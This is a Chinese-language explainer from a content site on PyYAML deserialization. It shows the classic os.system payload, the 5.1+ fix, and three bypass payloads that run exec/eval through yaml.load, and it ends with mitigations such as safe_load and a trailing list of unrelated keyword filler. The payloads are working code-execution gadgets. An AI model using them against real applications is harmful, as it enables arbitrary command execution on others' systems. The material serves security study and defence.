PyYAML反序列化防御和ByPass是怎么样的
发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,这篇文章将为大家详细讲解有关PyYAML反序列化防御和ByPass是怎么样的,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。PyYAML介绍PyYAML
千家信息网最后更新 2025年12月02日PyYAML反序列化防御和ByPass是怎么样的
这篇文章将为大家详细讲解有关PyYAML反序列化防御和ByPass是怎么样的,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
PyYAML介绍
PyYAML是Python出众的模块之一。PyYAML就是python的一个yaml库yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存)。若对于Python反序列化有所了解一定会听说过它。
PyYAML历史漏洞和修复
它的反序列化漏洞使得大多数Python安全研究人员对齐记忆犹新。
当咱们使用反序列化时候会使用如下的载荷:
!!python/object/new:os.system ["whoami"]
并且使用load()进行加载时PyYAML将会执行os.system("whoami")。这样会导致命令执行,从而输出用户名。
该漏洞在5.1+版本之中得到修复,如果依然使用历史漏洞载荷,将会得到错误提示的告警。
while constructing a Python instanceexpected a class, but foundin " ", line 1, column 1: !!python/object/new:os.system [" ... ^
这样因为只能反序列化部分基本类型,极大程度上缓解了反序列化漏洞带来的影响。
PyYAML ByPass
当咱们回看部分基本类型时,将会注意到Python内置方法exec、eval。在手册之中有这样一段描述。
exec 执行储存在字符串或文件中的Python语句,相比于 eval,exec可以执行更复杂的 Python 代码。
如此能够得到ByPass载荷。
PayLoad1:
import yamlpayload = """- !!python/object/new:str args: [] state: !!python/tuple - "print('漏洞存在')" - !!python/object/new:staticmethod args: [0] state: update: !!python/name:exec"""yaml.load(payload)回显:->漏洞存在PayLoad2:
import yamlpayload = """!!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "print('漏洞存在')""""yaml.load(payload)回显:->漏洞存在PayLoad3:
import yamlpayload = """!!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - [ print('漏洞存在') ]"""yaml.load(payload)回显:->漏洞存在这三种载荷均是利用基本类型之中代码执行函数,从而绕过5.1+的防御措施。
修复方法
1、按照官方推荐使用safe_load对于序列化内容进行加载。
2、检测加载文件头防止加载代码执行函数。
关于PyYAML反序列化防御和ByPass是怎么样的就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
漏洞
序列
载荷
防御
之中
代码
内容
类型
函数
历史
文件
文章
方法
更多
格式
知识
篇文章
部分
不错
复杂
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
消防行业网络安全
计算机网络技术都学什么专业
南京大屠杀档案 数据库
数据库按内容和文献类型分类
亚马逊什么网络安全
网络技术专业考大学还能改专业吗
数据库安全标准
能打开db数据库的软件
专科时候学计算机网络技术吗
图形用户界面连接数据库
上海修诺网络技术
镇江大数据分布式存储数据库
专科软件开发工程师
魔兽正式服哪个服务器最平衡
小学讲话稿网络安全进校园
网络技术与应用学科排名
数据库更新重复数据
云服务器 域名解析
沈飞网络安全教育
迅雷网数据库图片首页
远江盛邦网络安全上市
如何使用usb连接服务器
数据库安全标准
学校网络安全文明
数据库字段不能为0
上海修诺网络技术
天津必火网络安全
软件开发周例会模板
maven找不到数据库
乌鲁木齐软件开发代理